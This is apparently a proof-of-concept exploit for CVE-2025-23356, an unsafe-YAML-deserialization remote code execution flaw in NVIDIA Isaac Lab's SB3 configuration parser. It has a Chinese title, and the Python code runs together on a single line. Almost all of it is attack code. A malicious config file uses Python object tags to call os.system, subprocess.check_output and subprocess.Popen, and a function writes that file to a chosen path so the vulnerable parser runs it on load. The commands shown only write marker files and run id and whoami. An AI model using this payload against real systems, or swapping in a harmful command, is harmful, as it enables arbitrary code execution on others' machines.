CVE-2025-23356：NVIDIA Isaac Lab SB3配置解析远程代码执行漏洞

# CVE-2025-23356 PoC - NVIDIA Isaac Lab SB3 Config Parsing RCE # Vulnerability: Unsafe YAML deserialization in SB3 configuration parser import yaml import os import sys # Malicious SB3 configuration file exploiting unsafe YAML deserialization # The SB3 config parser uses yaml.load() without SafeLoader, allowing # arbitrary Python object instantiation during config parsing. malicious_config = """ # Malicious SB3 configuration with embedded Python code execution algorithm: PPO # Inject malicious payload via YAML Python object tag policy_kwargs: !!python/object/apply:os.system - "id > /tmp/pwned.txt; touch /tmp/rce_evidence" # Alternative: use subprocess for command execution learning_rate: !!python/object/apply:subprocess.check_output - ["id"] # Trigger code execution during config loading env: class_name: !!python/object/new:subprocess.Popen args: - ["whoami"] """ def exploit(target_config_path): """ Exploit CVE-2025-23356 by writing a malicious SB3 config file and triggering its parsing by NVIDIA Isaac Lab. """ # Step 1: Write malicious configuration with open(target_config_path, 'w') as f: f.write(malicious_config) print(f"[+] Malicious config written to {target_config_path}") # Step 2: Trigger Isaac Lab to load the config # When Isaac Lab loads this config, yaml.load() will execute # the embedded Python code automatically print("[*] Waiting for Isaac Lab to parse the malicious config...") print("[*] Code execution will occur during config deserialization") if __name__ == "__main__": config_path = sys.argv[1] if len(sys.argv) > 1 else "malicious_sb3_config.yaml" exploit(config_path)